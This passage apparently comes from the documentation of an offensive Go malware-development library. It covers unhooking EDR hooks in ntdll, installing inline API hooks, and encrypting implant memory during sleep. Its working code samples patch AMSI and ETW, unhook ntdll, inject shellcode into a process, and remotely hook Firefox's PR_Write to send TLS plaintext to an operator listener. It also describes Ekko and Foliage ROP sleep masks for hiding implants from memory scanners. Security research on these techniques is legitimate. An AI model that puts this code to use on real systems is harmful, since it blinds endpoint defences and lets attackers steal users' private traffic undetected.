P2 --> P3[Overwrite our .text with child's clean copy]
P3 --> P4[TerminateProcess child]
end
style C5 fill:#2d5016,color:#fff
style F5 fill:#2d5016,color:#fff
style P3 fill:#2d5016,color:#fff
Classic Unhook -- Targeted, surgical:
- Read
ntdll.dllfromSystem32on disk (never hooked). - Parse the PE export directory to find the target function's file offset.
- Read the first 5 bytes (the typical hook trampoline size).
- Overwrite the hooked in-memory bytes with the clean disk copy via
PatchMemoryWithCaller.
Full Unhook -- Scorched earth:
- Read
ntdll.dllfrom disk and parse the PE to find the.textsection. - Extract the entire
.textsection bytes. VirtualProtectthe in-memory.texttoPAGE_EXECUTE_READWRITE.WriteProcessMemory(orNtWriteVirtualMemoryvia Caller) to overwrite the entire section.- Restore original protection.
Perun Unhook -- Disk-free:
- Spawn
notepad.exe(or configurable target) inCREATE_SUSPENDED | CREATE_NO_WINDOWstate. - ntdll is loaded at the same base address in all processes (ASLR is per-boot). Read the child's pristine
.textviaReadProcessMemory. - Overwrite the local hooked
.textwith the clean copy. - Terminate the child process.
Usage
package main
import (
"log"
"github.com/oioio-space/maldev/evasion/unhook"
)
func main() {
// Classic: unhook a single function. 3rd arg is an optional
// stealthopen.Opener — nil = path-based read of ntdll.dll; pass a
// *stealthopen.Stealth to bypass path-based EDR hooks on that open.
if err := unhook.ClassicUnhook("NtAllocateVirtualMemory", nil, nil); err != nil {
log.Fatal(err)
}
// Full: unhook ALL ntdll functions at once. Same Opener semantics.
if err := unhook.FullUnhook(nil, nil); err != nil {
log.Fatal(err)
}
// Perun: unhook from a child process (no disk read).
if err := unhook.PerunUnhook(nil); err != nil {
log.Fatal(err)
}
// Perun with custom host process.
if err := unhook.PerunUnhookTarget("svchost.exe", nil); err != nil {
log.Fatal(err)
}
}
Combined Example
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
shellcode := []byte{0x90, 0x90, 0xCC}
// Use indirect syscalls for the unhooking itself.
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
// Layer evasion: blind telemetry first, THEN unhook.
// Order matters: ETW patch prevents logging of the unhook operation.
techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Full(), // or unhook.CommonClassic()... for selective
}
if errs := evasion.ApplyAll(techniques, caller); errs != nil {
for name, err := range errs {
log.Printf("%s: %v", name, err)
}
}
// After unhooking, all NT calls go directly to kernel.
injector, err := inject.Build().
Method(inject.MethodCreateRemoteThread).
TargetPID(1234).
Create()
if err != nil {
log.Fatal(err)
}
injector.Inject(shellcode)
}
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth (Classic) | Medium -- only touches one function. Minimal disk I/O. |
| Stealth (Full) | Low -- reads entire ntdll from disk, massive memory write. Very visible. |
| Stealth (Perun) | Medium-High -- no disk read, but spawning a child process is logged. |
| Effectiveness | High -- completely removes userland hooks. After unhooking, EDR loses visibility into hooked APIs. |
| Caller routing | All three methods support *wsyscall.Caller for the protection/write phase, bypassing potential hooks on VirtualProtect and WriteProcessMemory themselves. |
| Detection vectors | Disk read of ntdll.dll (Full/Classic), child process spawn (Perun), memory integrity checks before/after, ETW events for VirtualProtect on ntdll pages. |
| Limitations | Does not affect kernel-level hooks (minifilters, callbacks). Does not remove hooks set after the unhook operation. Some EDRs re-hook periodically. |
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/unhook is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Evasion area README
evasion/hook— symmetric primitive: install your own hooks once EDR's are removedevasion/preset— Stealth preset includesunhook.FullUnhookas the first stepwin/syscall— direct/indirect syscalls bypass hooks without restoring them
Inline Hook — x64 Function Interception
MITRE ATT&CK: T1574.012 — Hijack Execution Flow: Inline Hooking
Package: evasion/hook
Platform: Windows (x64)
Detection: High
TL;DR
You want to intercept Windows API calls — log them, modify their arguments, suppress their results — without attaching a debugger or using kernel components. This package patches the target function's first bytes with a JMP to your Go callback, then provides a "trampoline" you can call to invoke the original (unpatched) code.
Pick the right entry point based on what you have:
| You have… | Use | Why |
|---|---|---|
The function's address as uintptr | Install | Direct path. You already resolved it via windows.NewLazyDLL(...).NewProc(...).Addr(). |
| Just the DLL + function name | InstallByName | Resolves + installs in one call. |
| The function exists but you don't know its signature | InstallProbe | Logs first N args without you guessing the type. Useful for reversing unknown APIs. |
| Need to hook many related functions atomically | HookGroup | All-or-nothing install (rolls back on partial failure). |
What this DOES achieve:
- Your callback runs every time the target is invoked.
- Original arguments visible; return value optionally rewritable.
- Trampoline lets you "call through" to the real function.
What this does NOT achieve:
- Userland-only — kernel callbacks (PsSetCreateProcessNotify
family) need a different attack. See
evasion/kernel-callback-removal. - Detectable — EDR memory scanners flag patched prologues
(the JMP rel32 is a tell). For evading prologue scans, see
evasion/unhookwhich restores clean prologues from a fresh ntdll image on disk. - x64 only — no x86, no ARM64.
Primer — vocabulary
Five terms appear constantly on this page:
Prologue — the first few bytes of a function's machine code. Inline hooking patches these bytes (typically the first 5 — enough for a JMP rel32) so the CPU diverts to your code instead of running the original.
JMP rel32 — a 5-byte x64 instruction that jumps to a destination expressed as a 32-bit signed offset from the jump's location. Reach: ±2 GB. The patch installs this; if the target callback is more than 2 GB away, you need a relay.
Relay — a small (13-byte) executable page allocated within ±2 GB of the target, holding
MOV R10, <abs64>; JMP R10. The 5-byte patch jumps to the relay; the relay does the 64-bit absolute jump to your Go callback (which can live anywhere in the address space).Trampoline — a copy of the bytes you OVERWROTE in the prologue (called "stolen bytes") followed by a JMP back to the target's code AFTER the patch. Lets you "call through" the hook to invoke the original logic. The package builds this automatically using
golang.org/x/arch/x86/x86asmto decode the prologue and fix up RIP-relative addresses.RIP-relative — an addressing mode where the operand is an offset from the current instruction pointer (e.g.,
MOV RAX, [RIP+0x12345]). When you copy bytes containing RIP-relative addressing into the trampoline (which lives at a different address), the offsets break unless fixed up. The package handles this for you.
Primer
Every Windows function — MessageBoxW, CreateFileW, NtAllocateVirtualMemory
— lives at some address in memory and starts with a short sequence of
instructions called its prologue. An inline hook rewrites the first
bytes of that prologue so the CPU jumps to your code instead. Your
callback inspects (or modifies) the arguments, then either lets the original
function run by calling a small trampoline that re-executes the patched
bytes and jumps back, or returns a synthetic result without ever running
the real function.
This single primitive underlies a huge fraction of both offensive and defensive tooling:
- EDR agents hook
NtAllocateVirtualMemory/NtProtectVirtualMemoryin userland to flag shellcode-like allocations before they run. - Red-team tools hook
AmsiScanBufferto make every scan return "clean", orEtwEventWriteto suppress telemetry. - Malware researchers hook APIs they want to trace (args, return value) without attaching a debugger.
evasion/hook is a pure-Go, no-CGo, x64-only implementation: it allocates a
relay page within ±2 GB of the target (so a 5-byte JMP rel32 is
enough), writes a JMP to the relay, and the relay hops to a Go callback via
syscall.NewCallback. An Install/Uninstall pair restores the original
bytes on demand.
What It Does
Intercepts calls to any exported Windows function by patching its prologue with a JMP to a Go callback. The original function remains callable via a trampoline. Pure Go — no CGo, no x64dbg required.
How It Works
sequenceDiagram
participant Caller
participant Target as "Target Function"
participant Relay as "Relay Page within 2GB"
participant Callback as "Go Callback"
participant Trampoline as "Trampoline"
Note over Target: Prologue patched with JMP rel32
Caller->>Target: Call function
Target->>Relay: JMP rel32 (5 bytes)
Relay->>Callback: MOV R10 addr then JMP R10
Callback->>Trampoline: syscall.SyscallN(h.Trampoline(), ...)
Trampoline->>Target: Stolen bytes + JMP back past patch
Target-->>Trampoline: Returns
Trampoline-->>Callback: Returns
Callback-->>Caller: Returns (possibly modified)
Three Components
| Component | Size | Purpose |
|---|---|---|
| Hook patch | 5 bytes (E9 rel32) | JMP from target to relay |
| Relay page | 13 bytes (MOV R10, imm64; JMP R10) | Absolute JMP to Go callback. Allocated within ±2GB of target (required for rel32). |
| Trampoline | N+13 bytes | Copy of stolen prologue bytes (with RIP fixups) + absolute JMP back to original function after the patch |
Automatic Prologue Analysis
Uses golang.org/x/arch/x86/x86asm to:
- Decode instructions until cumulative length >= 5 bytes
- Detect RIP-relative instructions (
[RIP+disp32], relative branches) - Fix up displacements so the trampoline targets correct addresses
No manual stealLength calculation needed.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/evasion/hook is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Usage
Intercept and Log
import (
"log"
"syscall"
"unsafe"
"github.com/oioio-space/maldev/evasion/hook"
"golang.org/x/sys/windows"
)
var h *hook.Hook
func main() {
var err error
h, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
func(lpFileName uintptr) uintptr {
name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))
log.Printf("DeleteFileW: %s", name)
r, _, _ := syscall.SyscallN(h.Trampoline(), lpFileName)
return r
},
)
if err != nil {
log.Fatal(err)
}
defer h.Remove()
// All DeleteFileW calls in this process now go through our handler.
select {}
}
Block an API Call
var h *hook.Hook
h, _ = hook.InstallByName("kernel32.dll", "DeleteFileW",
func(lpFileName uintptr) uintptr {
return 0 // Return FALSE — deletion blocked
},
)
defer h.Remove()
Monitor NtCreateFile
var h *hook.Hook
h, _ = hook.InstallByName("ntdll.dll", "NtCreateFile",
func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
eaLength uintptr) uintptr {
log.Println("NtCreateFile intercepted")
r, _, _ := syscall.SyscallN(h.Trampoline(),
fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
fileAttrs, shareAccess, createDisp, createOpts, eaBuffer, eaLength)
return r
},
)
defer h.Remove()
How to Find the Right Function to Hook
You don't need x64dbg. Windows API functions are exported by name from
system DLLs — InstallByName resolves them automatically.
Step 1: Identify the API
Ask: "What Windows API does the operation I want to intercept call?"
| I want to intercept... | Hook this function | In this DLL |
|---|---|---|
| File deletion | DeleteFileW | kernel32.dll |
| File creation/opening | NtCreateFile | ntdll.dll |
| Process creation | CreateProcessW | kernel32.dll |
| Registry writes | RegSetValueExW | advapi32.dll |
| Network connections | connect | ws2_32.dll |
| DNS resolution | DnsQuery_W | dnsapi.dll |
| MessageBox | MessageBoxW | user32.dll |
| Memory allocation | NtAllocateVirtualMemory | ntdll.dll |
| DLL loading | LdrLoadDll | ntdll.dll |
| Screenshot | BitBlt | gdi32.dll |
Tip: Hook the Nt* (ntdll) version to catch all callers — kernel32
functions like CreateFileW internally call NtCreateFile, so hooking
at the ntdll level catches both direct and indirect calls.
Step 2: Find the Signature
Look up the function signature on Microsoft Learn.
Convert each parameter to uintptr in your Go handler:
// MSDN signature:
// BOOL DeleteFileW(LPCWSTR lpFileName)
//
// Go handler:
func(lpFileName uintptr) uintptr
// MSDN signature:
// NTSTATUS NtCreateFile(
// PHANDLE FileHandle,
// ACCESS_MASK DesiredAccess,
// POBJECT_ATTRIBUTES ObjectAttributes,
// PIO_STATUS_BLOCK IoStatusBlock,
// PLARGE_INTEGER AllocationSize,
// ULONG FileAttributes,
// ULONG ShareAccess,
// ULONG CreateDisposition,
// ULONG CreateOptions,
// PVOID EaBuffer,
// ULONG EaLength
// )
//
// Go handler: all pointers and integers become uintptr
func(fileHandle, desiredAccess, objAttrs, ioStatus, allocSize,
fileAttrs, shareAccess, createDisp, createOpts, eaBuffer,
eaLength uintptr) uintptr
Step 3: Write the Hook
package main
import (
"fmt"
"log"
"os"
"syscall"
"unsafe"
"github.com/oioio-space/maldev/evasion/hook"
"golang.org/x/sys/windows"
)
var hDeleteFile *hook.Hook
func main() {
var err error
// Hook DeleteFileW — intercept all file deletions in this process.
hDeleteFile, err = hook.InstallByName("kernel32.dll", "DeleteFileW",
func(lpFileName uintptr) uintptr {
name := windows.UTF16PtrToString((*uint16)(unsafe.Pointer(lpFileName)))
// Decide: block or allow?
if name == `C:\important.txt` {
log.Printf("BLOCKED deletion of %s", name)
// Return FALSE — caller's GetLastError() will see whatever
// is already in TEB (typically 0). Use windows.SetLastError
// via direct syscall if you need a specific code.
return 0
}
// Allow — call original via trampoline.
log.Printf("ALLOWED deletion of %s", name)
r, _, _ := syscall.SyscallN(hDeleteFile.Trampoline(), lpFileName)
return r
},
)
if err != nil {
log.Fatal(err)
}
defer hDeleteFile.Remove()
// Test it — try to delete a file.
err = os.Remove(`C:\important.txt`)
fmt.Printf("Remove result: %v\n", err) // Access denied — hook blocked it
err = os.Remove(`C:\temp\disposable.txt`)
fmt.Printf("Remove result: %v\n", err) // Allowed — hook called original
}
Step 4: List All Exports
To discover what functions a DLL exports (without x64dbg), use debug/pe:
import "debug/pe"
f, _ := pe.Open(`C:\Windows\System32\kernel32.dll`)
defer f.Close()
exports, _ := f.Exports()
for _, e := range exports {
fmt.Println(e.Name)
}
// Output: AcquireSRWLockExclusive, AddAtomA, AddAtomW, ...
Finding Signatures Without MSDN
The PE export table only stores name → address — no parameter types or
count. This is a fundamental limitation of the PE format. Several
approaches exist depending on the context:
For Windows APIs: just use MSDN
Microsoft documents every public function. Search
site:learn.microsoft.com <function name> and translate to uintptr.
For unknown/third-party functions: estimate parameter count
Since Go handlers use uintptr for all parameters, you only need to know
how many params — not their types. The x64 ABI is predictable:
- First 4 args:
RCX,RDX,R8,R9 - Additional args: pushed on stack after 32-byte shadow space
sub rsp, 0xNNin the prologue hints at the frame size
Practical shortcut: declare more parameters than the function actually
takes. Extra uintptr args are harmless — the Go callback ignores them:
// Don't know exact param count? Declare the maximum (up to 18).
// Unused params are simply zero.
h, _ = hook.Install(funcAddr, func(
a1, a2, a3, a4, a5, a6, a7, a8 uintptr,
) uintptr {
log.Printf("called with: %x %x %x %x", a1, a2, a3, a4)
r, _, _ := syscall.SyscallN(h.Trampoline(), a1, a2, a3, a4, a5, a6, a7, a8)
return r
})
For programs with debug symbols (.pdb)
Microsoft publishes PDB files for system binaries on the
Symbol Server. Third-party
programs sometimes ship with .pdb files next to the .exe. PDB files
contain full type information including parameter names and types. Parsing
requires a PDB reader (not yet in maldev).
Discovering imports of a target program
To see which DLL functions a program calls (and thus which are hookable via IAT), parse its import table:
import "debug/pe"
f, _ := pe.Open(`C:\path\to\target.exe`)
defer f.Close()
imports, _ := f.ImportedSymbols()
for _, sym := range imports {
fmt.Println(sym) // "kernel32.dll:CreateFileW", "ntdll.dll:NtClose", etc.
}
This tells you exactly which functions the target uses — you can then look up each one's signature by name.
Hook Options
Install and InstallByName accept variadic HookOption values:
| Option | Effect |
|---|---|
WithCaller(caller) | Route the memory-patch syscall through a *wsyscall.Caller for indirect/direct syscall dispatch (EDR evasion) |
WithCleanFirst() | Re-read the target function prologue from disk before patching, stripping any EDR hook already present |
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))
h, err := hook.InstallByName("ntdll.dll", "NtWriteFile", myHandler,
hook.WithCaller(caller), // use indirect syscalls for the patch
hook.WithCleanFirst(), // evict EDR hook first
)
Both options compose: WithCleanFirst strips the EDR hook via unhook.ClassicUnhook, then WithCaller writes the new patch through the indirect-syscall path.
InstallProbe — Unknown Signatures
When you don't know a function's parameter types or count, use InstallProbe.
It hooks with a 18-uintptr handler, calls the original transparently, and
delivers a ProbeResult to your callback on every call.
func InstallProbe(targetAddr uintptr, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)
func InstallProbeByName(dllName, funcName string, onCall func(ProbeResult), opts ...HookOption) (*Hook, error)
ProbeResult
type ProbeResult struct {
Args [18]uintptr
Ret uintptr
}
func (r ProbeResult) NonZeroArgs() []int // indices of non-zero args
func (r ProbeResult) NonZeroCount() int // count of non-zero args
Example: discover parameters of an unknown function
h, err := hook.InstallProbeByName("somelib.dll", "UnknownFunc",
func(r hook.ProbeResult) {
log.Printf("called: %d non-zero args at indices %v",
r.NonZeroCount(), r.NonZeroArgs())
// Inspect r.Args[0], r.Args[1], ... to understand the ABI.
},
)
if err != nil {
log.Fatal(err)
}
defer h.Remove()
Call the target binary and observe which argument slots light up. Once you
have a count, switch to a typed Install handler.
HookGroup — Multi-Hook
HookGroup installs a set of hooks atomically: if any installation fails,
all previously installed hooks in the group are removed before the error is
returned, so the process never ends up in a half-hooked state.
func InstallAll(targets []Target, opts ...HookOption) (*HookGroup, error)
type Target struct {
DLL string
Func string
Handler interface{}
}
func (g *HookGroup) RemoveAll() error
func (g *HookGroup) Hooks() []*Hook
Example: hook all Winsock send/recv at once
var (
hSend *hook.Hook
hRecv *hook.Hook
)
g, err := hook.InstallAll([]hook.Target{
{DLL: "ws2_32.dll", Func: "send",
Handler: func(s, buf, len, flags uintptr) uintptr {
log.Printf("send: %d bytes", len)
r, _, _ := syscall.SyscallN(hSend.Trampoline(), s, buf, len, flags)
return r
},
},
{DLL: "ws2_32.dll", Func: "recv",
Handler: func(s, buf, len, flags uintptr) uintptr {
log.Printf("recv: %d bytes", len)
r, _, _ := syscall.SyscallN(hRecv.Trampoline(), s, buf, len, flags)
return r
},
},
})
if err != nil {
log.Fatal(err) // both hooks rolled back on any failure
}
// Populate trampoline references after group install.
hSend = g.Hooks()[0]
hRecv = g.Hooks()[1]
defer g.RemoveAll()
PE Import Analysis
pe/imports enumerates the IAT (Import Address Table) of any PE on disk —
no process access required. Use it to discover which functions a target
binary imports so you know what to hook.
// List every import in an executable.
func List(pePath string) ([]Import, error)
// Filter to a single DLL.
func ListByDLL(pePath, dllName string) ([]Import, error)
// Parse from an io.ReaderAt (e.g. in-memory PE).
func FromReader(r io.ReaderAt) ([]Import, error)
type Import struct {
DLL string
Function string
}
Example: find hookable network functions in a target
import "github.com/oioio-space/maldev/pe/imports"
imps, err := imports.ListByDLL(`C:\Program Files\target\app.exe`, "ws2_32.dll")
if err != nil {
log.Fatal(err)
}
for _, imp := range imps {
fmt.Printf("%s!%s\n", imp.DLL, imp.Function)
}
// ws2_32.dll!connect
// ws2_32.dll!send
// ws2_32.dll!recv
// ws2_32.dll!WSASend
Remote Hooking
RemoteInstall injects a shellcode hook handler into another process. The
patching itself happens inside the target process (the shellcode is
responsible for installing the hook once loaded). Compose with GoHandler
to turn a Go hook DLL into position-independent shellcode via Donut.
// Inject shellcode handler into a process by PID.
func RemoteInstall(pid uint32, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error
// Resolve process name to PID, then call RemoteInstall.
func RemoteInstallByName(processName, dllName, funcName string, shellcodeHandler []byte, opts ...RemoteOption) error
// Convert a Go hook DLL on disk to PIC shellcode.
func GoHandler(dllPath, entryPoint string) ([]byte, error)
// Convert a Go hook DLL already loaded in memory to PIC shellcode.
func GoHandlerBytes(dllBytes []byte, entryPoint string) ([]byte, error)
// Override the injection method (default: CreateRemoteThread).
func WithMethod(m inject.Method) RemoteOption
All 15+ injection methods from inject/ are available via WithMethod.
Example workflow: hook PR_Write in Firefox
// 1. Build the hook DLL (go build -buildmode=c-shared -o hook.dll ./hookcmd)
sc, err := hook.GoHandler(`hook.dll`, "InstallHook")
if err != nil {
log.Fatal(err)
}
// 2. Inject into the running process using a stealthy method.
err = hook.RemoteInstallByName("firefox.exe", "nss3.dll", "PR_Write", sc,
hook.WithMethod(inject.MethodEarlyBirdAPC),
)
if err != nil {
log.Fatal(err)
}
// Firefox's TLS layer (nss3.dll!PR_Write) is now intercepted.
Shellcode Templates
evasion/hook/shellcode provides tiny x64 stubs for use with RemoteInstall
when you want a pre-canned behaviour without writing a full hook DLL.
// Block() — always returns 0 (FALSE). 3 bytes: XOR EAX,EAX; RET
func Block() []byte
// Nop(addr) — calls original function unchanged via JMP to trampoline. 13 bytes.
func Nop(trampolineAddr uintptr) []byte
// Replace(val) — returns a fixed value. 11 bytes: MOV RAX,imm64; RET
func Replace(returnValue uintptr) []byte
// Redirect(addr) — unconditional JMP to another address. 13 bytes.
func Redirect(targetAddr uintptr) []byte
Example: silently block a single API in a remote process
import "github.com/oioio-space/maldev/evasion/hook/shellcode"
// Block all CreateFile calls in notepad.exe — returns 0 with no side-effects.
err := hook.RemoteInstallByName("notepad.exe", "kernel32.dll", "CreateFileW",
shellcode.Block(),
)
Bridge Control API
The evasion/hook/bridge package provides a bidirectional IPC channel between
a hook handler running inside a target process and an operator listener outside
(or in a separate goroutine).
Modes
| Mode | How | When to use |
|---|---|---|
| Standalone | bridge.Standalone() | Hook runs autonomously — all Ask calls return Allow automatically |
| Connected | bridge.Connect(conn) | Hook sends events to a live listener for real-time decisions |
Controller (hook handler side)
// Standalone — no comms, all decisions auto-allow.
c := bridge.Standalone()
// Connected — bidirectional channel to a Listener.
c := bridge.Connect(conn)
// Send a tagged call for approval; blocks until listener replies.
// Returns Allow on any transport error (fail-open).
decision := c.Ask("tag", data) // returns Allow | Block | Modify
// Send a free-form log message to the listener.
c.Log("format %s", value)
// Exfiltrate tagged binary data to the listener.
c.Exfil("tag", data)
// Call the original function via trampoline.
ret := c.CallOriginal(args...)
Decisions:
bridge.Allow // pass through to original
bridge.Block // suppress the call
bridge.Modify // caller adjusts args/return before forwarding
Listener (operator side)
conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)
l.OnCall(func(c bridge.Call) bridge.Decision {
log.Printf("[%s] %x", c.Tag, c.Data)
return bridge.Allow
})
l.OnExfil(func(tag string, data []byte) {
log.Printf("exfil[%s]: %d bytes", tag, len(data))
})
l.OnLog(func(msg string) { log.Println(msg) })
go l.Serve() // blocks until connection closed
defer l.Close()
Transport
// Named pipe (Windows — low footprint, no network traffic).
conn, err := bridge.DialPipe(`\\.\pipe\hookbridge`, 5*time.Second)
// TCP (cross-host or cross-process).
conn, err := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
Example: TLS interception via PR_Write hook
// --- implant side (inside target process, hook DLL) ---
c := bridge.Connect(conn)
hook.InstallByName("nss3.dll", "PR_Write",
func(fd, buf, amount uintptr) uintptr {
data := unsafe.Slice((*byte)(unsafe.Pointer(buf)), amount)
c.Exfil("pr_write", data) // send plaintext to operator
d := c.Ask("pr_write_allow", data) // ask for approval
if d == bridge.Block {
return 0
}
r, _, _ := syscall.SyscallN(h.Trampoline(), fd, buf, amount)
return r
},
)
// --- operator side (separate process) ---
conn, _ := bridge.DialTCP("127.0.0.1:9000", 5*time.Second)
l := bridge.NewListener(conn)
l.OnExfil(func(tag string, data []byte) {
fmt.Printf("[TLS plaintext] %s\n", data)
})
l.OnCall(func(c bridge.Call) bridge.Decision {
return bridge.Allow // let all writes through
})
go l.Serve()
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Pure Go | No CGo — uses syscall.NewCallback |
| Auto analysis | Prologue decoded via x86asm |
| RIP fixup | RIP-relative instructions patched in trampoline |
| Trampoline | Original function remains callable |
| Max params | ~18 uintptr parameters (NewCallback limit) |
| Scope | Current process only (use RemoteInstall for other processes) |
| Thread safety | Brief race window during patch (non-atomic write) |
| Go runtime | Don't hook NtClose, NtCreateFile, NtReadFile, NtWriteFile |
| WithCaller | Routes memory-patch through indirect/direct syscalls to evade EDR write monitors |
| WithCleanFirst | Strips existing EDR hook from disk image before installing yours |
| InstallProbe | Signature-agnostic probe; captures all 18 arg slots, zero overhead on unknown ABIs |
| HookGroup | Atomic multi-hook install with rollback — no partial state on failure |
| RemoteInstall | Injects hook handler into another process via any of 15+ injection methods |
| GoHandler | Converts Go hook DLL to PIC shellcode via Donut (no separate toolchain needed) |
| shellcode templates | Block / Nop / Replace / Redirect — tiny PIC stubs for remote hooks |
| Bridge (standalone) | Autonomous hook with no comms; Ask always returns Allow |
| Bridge (connected) | Real-time operator control over allow/block/modify decisions via named pipe or TCP |
Comparison with evasion/unhook
evasion/hook | evasion/unhook | |
|---|---|---|
| Direction | Installs hooks (intercept) | Removes hooks (restore) |
| Use case | API monitoring, redirection | EDR bypass |
| Complementary | Unhook EDR first, then install your own hooks |
MITRE ATT&CK
| Technique | ID |
|---|---|
| Hijack Execution Flow: Inline Hooking | T1574.012 |
Detection
High — Any integrity check comparing in-memory function prologues to their on-disk counterparts will detect the JMP patch. EDR products specifically monitor for this on sensitive functions.
See also
- Evasion area README
evasion/hook/bridge— companion IPC controller for runtime hook swapevasion/hook/shellcode— pre-fab x64 handler payloadsevasion/unhook— symmetric primitive: remove EDR-installed hooks before installing your own
Encrypted Sleep (Sleep Mask)
MITRE ATT&CK: T1027 — Obfuscated Files or Information D3FEND: D3-SMRA — System Memory Range Analysis Detection: Low · Platform: Windows
TL;DR
A long-running implant sits in executable memory 24/7. Every EDR worth its name scans those pages on a timer, looking for known shellcode patterns — and the implant is idle most of the time (waiting for tasks). Sleep masking flips the implant's pages from executable to read-write + scrambles the bytes during sleep, so the scanner sees random noise in non-executable memory instead.
This package gives you two orthogonal knobs to tune the trade-off:
| Cipher (how to scramble) | When to pick it |
|---|---|
NewXORCipher() (default) | Smallest footprint. Periodic key visible to a determined analyst, doesn't matter if they only see one cycle. |
NewRC4Cipher() | Stream cipher (no period). Required by Ekko/Foliage strategies. |
NewAESCTRCipher() | Modern audited primitive. Slightly heavier code + CPU. |
| Strategy (where the wait happens) | When to pick it |
|---|---|
InlineStrategy{} (default — L1) | Caller goroutine waits via time.Sleep. Simplest. |
InlineStrategy{UseBusyTrig: true} (L1) | Defeats sandboxes that warp time.Sleep and EDRs hooking every kernel wait. Burns one core. |
TimerQueueStrategy{} (L2-light) | Wait runs on a thread-pool worker — caller thread isn't sitting in Sleep. |
EkkoStrategy{} (L2-full) | Beacon RIP hides inside a WaitForSingleObjectEx ROP chain. Single region, RC4 only, windows+amd64. |
FoliageStrategy{} (L3) | Ekko + thread-stack scrubbing mid-wait. Strongest sleep evasion shipped. |
Default to InlineStrategy{} + XOR. Upgrade only when a
specific defender forces you to.
Primer — vocabulary
Five terms recur on this page:
EDR memory scan — the routine job an Endpoint Detection & Response agent does to find in-memory threats: walks all committed pages of the target process via
VirtualQueryEx, filters for those marked executable (PAGE_EXECUTE_READ/PAGE_EXECUTE_READWRITE), then hashes or YARA-matches the bytes. Sleep masking exists to blind this exact scan.VirtualProtect — the Win32 API that changes a region's protection flags. Used twice per sleep cycle: once to drop
Xso the scanner skips the region, once to restore it before the implant runs again.NtContinue ROP chain (Ekko) — a sequence of return addresses written to a thread's stack so that as the thread "returns", it actually executes a chain of pre-chosen functions: VirtualProtect → SystemFunction032 (RC4) → wait → SystemFunction032 → VirtualProtect. Result: from any debugger snapshot during the wait, the beacon thread looks like it's doing legitimate Win32 work, not sleeping.
Stack scrubbing (Foliage) — extends Ekko by adding an extra
memsetgadget that zeroes the used shadow frames mid-chain. Without it, a thread-stack walker mid-wait can still see the addresses of VirtualProtect / SystemFunction032 / the implant's return point. With it, the stack above Rsp is zeros — no clue what the thread did before reaching the wait.
Region— a contiguous range of memory the mask should protect, given as{Addr, Size}. AMaskcan hold multiple regions (for non-contiguous payloads — e.g., shellcode + a separately-allocated config block).
This package's Mask type composes a Cipher with a Strategy
and accepts a context.Context so sleep cycles can be cancelled.
It also ships a RemoteMask for masking memory in another process.
The e2e tests in sleepmask_e2e_windows_test.go
run a real concurrent memory scanner during Sleep() across the
available strategies and assert it finds nothing.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Mask as "Mask.Sleep"
participant Page as "Protected region"
participant Scan as "EDR scanner"
Impl->>Mask: Sleep(30s)
Mask->>Mask: 32-byte random key (crypto/rand)
Note over Mask,Page: Order matters: RW first, then XOR.<br>Post-inject pages are PAGE_EXECUTE_READ,<br>writing before downgrade = STATUS_ACCESS_VIOLATION
loop For each region
Mask->>Page: VirtualProtect(RW), capture origProtect
Mask->>Page: XOR in-place with key
end
Note over Page: Pages: RW + scrambled bytes<br>(not on the scanner's target list)
Scan->>Page: scan executable pages
Page-->>Scan: no executable pages matching<br>signature in this region
Mask->>Mask: time.Sleep(30s) OR BusyWaitTrig(30s)
loop For each region
Mask->>Page: VirtualProtect(RW) [no-op if already RW]
Mask->>Page: XOR decrypt (self-inverse)
Mask->>Page: VirtualProtect(origProtect)
end
Mask->>Mask: SecureZero(key)
Mask-->>Impl: return
Step-by-step:
- Generate key —
cipher.KeySize()random bytes fromcrypto/rand(32 for XOR/RC4, 48 for AES-CTR). - Downgrade + encrypt — for each region:
VirtualProtect(PAGE_READWRITE, &origProtect[i])thencipher.Apply(buf, key). - Wait — delegated to the selected
Strategy:InlineStrategywaits on the caller goroutine;TimerQueueStrategywaits on a thread-pool worker;EkkoStrategywaits inside aWaitForSingleObjectExROP gadget on a pool thread so the beacon RIP never sits inSleep/SleepEx. - Decrypt + restore —
VirtualProtect(PAGE_READWRITE)(idempotent),cipher.Applyagain (self-inverse for XOR/RC4; symmetric counter for AES-CTR),VirtualProtect(origProtect[i])to restore the original bits. - Scrub key —
cleanup/memory.SecureZero(key)so keying material does not linger on the Go stack.
Taxonomy: Levels of sleep mask
| Level | Name | What it hides | Strategy in this package |
|---|---|---|---|
| L1 | Inline | Region bytes + executable bit | InlineStrategy (default) |
| L2-light | Pool thread | Above + caller thread's wait syscall is not Sleep | TimerQueueStrategy |
| L2-full | Ekko | Above + beacon thread RIP sits inside VirtualProtect / SystemFunction032 / WaitForSingleObjectEx via NtContinue ROP chain | EkkoStrategy |
| L3 | Foliage | L2 + thread stack scrubbing on wait (memset of used shadow frames) | FoliageStrategy |
| L4 | BOF-style | L3 + in-memory loader isolation | not shipped |
See the design spec in .dev/superpowers/specs/2026-04-23-sleepmask-variants-design.md for the full taxonomy and deferred work.
Usage
Quick start — mask one region during a 30-second sleep
You allocated executable memory for shellcode (via
VirtualAlloc + VirtualProtect to PAGE_EXECUTE_READ).
